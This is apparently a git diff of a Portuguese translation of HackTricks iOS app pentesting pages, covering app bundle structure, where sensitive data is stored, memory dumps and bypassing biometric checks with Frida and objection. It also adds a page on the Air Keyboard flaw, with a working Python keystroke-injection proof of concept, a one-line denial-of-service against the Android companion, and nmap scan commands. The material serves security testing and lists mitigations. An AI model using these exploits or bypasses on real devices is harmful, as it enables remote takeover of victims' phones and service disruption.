- **`_CodeSignature/`**: Este diretório inclui um arquivo plist que contém uma assinatura, garantindo a integridade de todos os arquivos no bundle.
- **`Assets.car`**: Um arquivo compactado que armazena arquivos de ativos, como ícones.
- **`Frameworks/`**: Esta pasta abriga as bibliotecas nativas da aplicação, que podem estar na forma de arquivos `.dylib` ou `.framework`.
- **`PlugIns/`**: Isso pode incluir extensões para a aplicação, conhecidas como arquivos `.appex`, embora nem sempre estejam presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer ao seu app em um único dispositivo. Para sincronizar dados entre vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema para um contêiner do CloudKit.
- **`PlugIns/`**: Isso pode incluir extensões para a aplicação, conhecidas como arquivos `.appex`, embora nem sempre estejam presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer à sua aplicação em um único dispositivo. Para sincronizar dados entre vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema para um contêiner do CloudKit.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): O arquivo `PkgInfo` é uma maneira alternativa de especificar os códigos de tipo e criador da sua aplicação ou bundle.
- **en.lproj, fr.proj, Base.lproj**: São os pacotes de idioma que contêm recursos para esses idiomas específicos e um recurso padrão caso um idioma não seja suportado.
- **Segurança**: O diretório `_CodeSignature/` desempenha um papel crítico na segurança do app, verificando a integridade de todos os arquivos empacotados por meio de assinaturas digitais.
- **Segurança**: O diretório `_CodeSignature/` desempenha um papel crítico na segurança do aplicativo, verificando a integridade de todos os arquivos empacotados por meio de assinaturas digitais.
- **Gerenciamento de Ativos**: O arquivo `Assets.car` utiliza compressão para gerenciar eficientemente ativos gráficos, crucial para otimizar o desempenho da aplicação e reduzir seu tamanho total.
- **Frameworks e PlugIns**: Esses diretórios destacam a modularidade das aplicações iOS, permitindo que os desenvolvedores incluam bibliotecas de código reutilizáveis (`Frameworks/`) e estendam a funcionalidade do app (`PlugIns/`).
- **Localização**: A estrutura suporta múltiplos idiomas, facilitando o alcance global da aplicação ao incluir recursos para pacotes de idiomas específicos.
- **Frameworks e PlugIns**: Esses diretórios destacam a modularidade das aplicações iOS, permitindo que os desenvolvedores incluam bibliotecas de código reutilizáveis (`Frameworks/`) e estendam a funcionalidade do aplicativo (`PlugIns/`).
- **Localização**: A estrutura suporta vários idiomas, facilitando o alcance global da aplicação ao incluir recursos para pacotes de idiomas específicos.
**Info.plist**
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de app e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de app até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor da Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de aplicativos e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de aplicativo até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor da Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão para XML pode ser realizada facilmente através do uso de `plutil` no macOS (disponível nativamente nas versões 10.2 e posteriores) ou `plistutil` no Linux. Os comandos para conversão são os seguintes:
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Entre a miríade de informações que o arquivo **Info.plist** pode revelar, entradas notáveis incluem strings de permissão do app (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`) e configurações para a Segurança de Transporte de Aplicativos (`NSAppTransportSecurity`). Essas entradas, junto com outras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), podem ser facilmente localizadas inspecionando o arquivo ou empregando um simples comando `grep`:
Entre a miríade de informações que o arquivo **Info.plist** pode revelar, entradas notáveis incluem strings de permissão do aplicativo (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`) e configurações para a Segurança de Transporte de Aplicativos (`NSAppTransportSecurity`). Essas entradas, junto com outras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), podem ser facilmente localizadas inspecionando o arquivo ou empregando um simples comando `grep`:
```bash
$ grep -i <keyword> Info.plist
```
@ -248,7 +248,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- O conteúdo deste diretório **não é salvo**.
- O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o app não está em execução e o espaço de armazenamento está baixo.
- **Library/Application Support/**
- Contém **arquivos** **persistentes** necessários para a execução do app.
- Contém **arquivos persistentes** necessários para a execução do app.
- **Invisível** **para** **os usuários** e os usuários não podem escrever nele.
- O conteúdo deste diretório **é salvo**.
- O app pode desabilitar caminhos configurando `NSURLIsExcludedFromBackupKey`.
@ -315,7 +315,7 @@ DVIA-v2:
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
```
Para imprimir o **segmento Objective-C** do aplicativo de amostra, pode-se usar:
Para imprimir o **segmento Objective-C** do aplicativo de exemplo, pode-se usar:
```bash
otool -oV DVIA-v2
DVIA-v2:
@ -367,25 +367,25 @@ ios-basics.md
> [!WARNING]
> Os seguintes locais para armazenar informações devem ser verificados **logo após a instalação do aplicativo**, **após verificar todas as funcionalidades** do aplicativo e até mesmo após **sair de um usuário e entrar em um diferente**.\
> O objetivo é encontrar **informações sensíveis não protegidas** do aplicativo (senhas, tokens), do usuário atual e de usuários que se conectaram anteriormente.
> O objetivo é encontrar **informações sensíveis não protegidas** do aplicativo (senhas, tokens), do usuário atual e de usuários que já fizeram login anteriormente.
### Plist
Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendado verificar esses arquivos após instalar o aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendado verificar esses arquivos após a instalação do aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
A maneira mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
A forma mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
A classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornece uma interface programática para interagir com o sistema padrão. O sistema padrão permite que um aplicativo personalize seu comportamento de acordo com **preferências do usuário**. Os dados salvos pelo `NSUserDefaults` podem ser visualizados no pacote do aplicativo. Esta classe armazena **dados** em um **arquivo plist**, mas é destinada a ser usada com pequenas quantidades de dados.
Esses dados não podem ser acessados diretamente via um computador confiável, mas podem ser acessados realizando um **backup**.
Você pode **dump** as informações salvas usando **`NSUserDefaults`** com o comando `ios nsuserdefaults get` do objection.
Você pode **extrair** as informações salvas usando **`NSUserDefaults`** com o comando `ios nsuserdefaults get` do objection.
Para encontrar todos os plist usados pelo aplicativo, você pode acessar `/private/var/mobile/Containers/Data/Application/{APPID}` e executar:
```bash
find ./ -name "*.plist"
```
Para converter arquivos de **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
Para converter arquivos do formato **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
**Para usuários do macOS:** Utilize o comando `plutil`. É uma ferramenta embutida no macOS (10.2+), projetada para esse propósito:
```bash
@ -438,7 +438,7 @@ Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-lo
### Outros Bancos de Dados SQLite
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixando-os não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@ -584,13 +584,13 @@ Para extrair essas credenciais armazenadas, o comando `ios nsurlcredentialstorag
## **Teclados Personalizados e Cache de Teclado**
Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles apresentam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem e devem restringir o uso de teclados personalizados para a entrada de informações sensíveis.
Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles representam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem, e devem, restringir o uso de teclados personalizados para a entrada de informações sensíveis.
**Recomendações de Segurança:**
- É aconselhável desativar teclados de terceiros para aumentar a segurança.
- Esteja ciente dos recursos de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache.
- Interceptar o tráfego de rede pode revelar se um teclado personalizado está transmitindo teclas remotamente.
- Esteja ciente das funcionalidades de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache.
- Interceptar o tráfego de rede pode revelar se um teclado personalizado está transmitindo as teclas remotamente.
### **Prevenindo o Cache de Campos de Texto**
@ -677,7 +677,7 @@ Ao lidar com informações sensíveis armazenadas na memória de um aplicativo,
## **Recuperando e Analisando um Dump de Memória**
Para dispositivos com e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
Para dispositivos com jailbreak e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
Para extrair strings de um dump de memória, comandos como `strings` ou `rabin2 -zz` podem ser usados:
```bash
@ -712,7 +712,7 @@ Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **veri
### Verificação
As principais verificações a serem realizadas são para descobrir se você pode encontrar senhas/secrets **codificados** no código, ou se esses são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
As principais verificações a serem realizadas são encontrar se você pode encontrar **senhas**/segredos **codificados** no código, ou se são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
É interessante saber que você pode **monitorar** algumas **bibliotecas** **crypto** automaticamente usando **objection** com:
```swift
@ -722,7 +722,7 @@ Para **mais informações** sobre APIs e bibliotecas criptográficas do iOS, ace
## Autenticação Local
A **autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso a um ponto final remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
A **autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso em um ponto remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
O [**framework de Autenticação Local**](https://developer.apple.com/documentation/localauthentication) da Apple e o [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fornecem APIs robustas para os desenvolvedores facilitarem diálogos de autenticação do usuário e lidarem com dados secretos de forma segura, respectivamente. O Secure Enclave protege a ID de impressão digital para o Touch ID, enquanto o Face ID depende do reconhecimento facial sem comprometer os dados biométricos.
@ -732,7 +732,7 @@ Para integrar o Touch ID/Face ID, os desenvolvedores têm duas opções de API:
- **`Security.framework`** para acesso a serviços de keychain em nível mais baixo, protegendo dados secretos com autenticação biométrica. Vários [wrappers de código aberto](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) tornam o acesso ao keychain mais simples.
> [!CAUTION]
> No entanto, tanto o `LocalAuthentication.framework` quanto o `Security.framework` apresentam vulnerabilidades, pois retornam principalmente valores booleanos sem transmitir dados para processos de autenticação, tornando-os suscetíveis a contornos (consulte [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
> No entanto, tanto `LocalAuthentication.framework` quanto `Security.framework` apresentam vulnerabilidades, pois retornam principalmente valores booleanos sem transmitir dados para processos de autenticação, tornando-os suscetíveis a contornos (consulte [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### Implementando Autenticação Local
@ -880,7 +880,7 @@ O uso de frameworks em um aplicativo também pode ser detectado analisando a lis
```bash
$ otool -L <AppName>.app/<AppName>
```
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por baixo dos panos):
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por trás):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
@ -891,7 +891,7 @@ Se `Security.framework` for utilizado, apenas o segundo será exibido.
#### **Objection**
Através do **Objection Biometrics Bypass**, localizado nesta [página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O cerne dessa abordagem envolve aproveitar o **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
Através do **Objection Biometrics Bypass**, localizado na [página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O núcleo dessa abordagem envolve aproveitar o **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
Para ativar esse bypass, o seguinte comando é empregado:
```bash
@ -962,7 +962,7 @@ Para injetar o script Frida e contornar a autenticação biométrica, o seguinte
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
## Exposição de Funcionalidades Sensíveis Através de IPC
## Exposição de Funcionalidade Sensível Através de IPC
### Manipuladores de URI Personalizados / Deeplinks / Esquemas Personalizados
@ -1050,13 +1050,19 @@ Um desafio significativo com **SDKs de terceiros** é a **falta de controle gran
Os serviços fornecidos por SDKs de terceiros podem incluir rastreamento de comportamento do usuário, exibição de anúncios ou melhorias na experiência do usuário. No entanto, isso introduz um risco, pois os desenvolvedores podem não estar totalmente cientes do código executado por essas bibliotecas, levando a potenciais riscos de privacidade e segurança. É crucial limitar as informações compartilhadas com serviços de terceiros ao que é necessário e garantir que nenhum dado sensível seja exposto.
A implementação de serviços de terceiros geralmente vem em duas formas: uma biblioteca autônoma ou um SDK completo. Para proteger a privacidade do usuário, quaisquer dados compartilhados com esses serviços devem ser **anonimizados** para evitar a divulgação de Informações Pessoais Identificáveis (PII).
A implementação de serviços de terceiros geralmente vem em duas formas: uma biblioteca independente ou um SDK completo. Para proteger a privacidade do usuário, quaisquer dados compartilhados com esses serviços devem ser **anonimizados** para evitar a divulgação de Informações Pessoais Identificáveis (PII).
Para identificar as bibliotecas que um aplicativo usa, o comando **`otool`** pode ser empregado. Esta ferramenta deve ser executada contra o aplicativo e cada biblioteca compartilhada que ele usa para descobrir bibliotecas adicionais.
```bash
otool -L <application_path>
```
## **Referências e Mais Recursos**
## Vulnerabilidades Interessantes & Estudos de Caso
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **Referências & Mais Recursos**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
- [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
@ -1074,7 +1080,7 @@ otool -L <application_path>
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) curso gratuito de IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
@ -1084,5 +1090,4 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,91 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
A versão iOS do aplicativo comercial "Air Keyboard" (ID da App Store 6463187929) abre um **serviço TCP em texto claro na porta 8888** que aceita quadros de pressionamento de tecla **sem qualquer autenticação**. Qualquer dispositivo na mesma rede Wi-Fi pode se conectar a essa porta e injetar entrada de teclado arbitrária no telefone da vítima, alcançando **sequestro total de interação remota**.
Uma versão companion para Android escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado causa uma **exceção não tratada na rotina de descriptografia do OpenSSL**, fazendo o serviço em segundo plano falhar (**DoS**).
## 1. Service Discovery
Escaneie a rede local e procure as duas portas fixas usadas pelos aplicativos:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
Nos dispositivos Android, você pode identificar o pacote responsável localmente:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Formato de Quadro (iOS)
O binário revela a seguinte lógica de análise dentro da rotina `handleInputFrame()`:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
O comprimento declarado inclui o byte `device_id` **mas não** o cabeçalho de dois bytes.
## 3. Exploração PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
Qualquer ASCII imprimível (incluindo `\n`, `\r`, teclas especiais, etc.) pode ser enviado, efetivamente concedendo ao atacante o mesmo poder que a entrada física do usuário: lançar aplicativos, enviar mensagens instantâneas, visitar URLs de phishing, etc.
## 4. Android Companion Negação de Serviço
A porta Android (55535) espera uma senha de 4 caracteres criptografada com uma **chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, terminando a thread do listener. Um único pacote malformado é, portanto, suficiente para manter usuários legítimos desconectados até que o processo seja relançado.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Causa Raiz
1. **Sem verificações de origem / integridade** em quadros recebidos (iOS).
2. **Uso indevido de criptografia** (chave estática, ECB, validação de comprimento ausente) e **falta de tratamento de exceções** (Android).
## 6. Mitigações & Ideias de Fortalecimento
* Nunca exponha serviços não autenticados em um dispositivo móvel.
* Derive segredos por dispositivo durante o onboarding e verifique-os antes de processar a entrada.
* Vincule o listener a `127.0.0.1` e use um transporte autenticado mutuamente, criptografado (por exemplo, TLS, Noise) para controle remoto.
* Detecte portas abertas inesperadas durante revisões de segurança móvel (`netstat`, `lsof`, `frida-trace` em `socket()` etc.).
* Como usuário final: desinstale o Air Keyboard ou use-o apenas em redes Wi-Fi confiáveis e isoladas.
## Detecção Cheat-Sheet (Pentesters)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## Referências
- [Vulnerabilidade de Injeção de Entrada Remota no App Air Keyboard iOS Ainda Não Corrigida](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [Aviso CXSecurity WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
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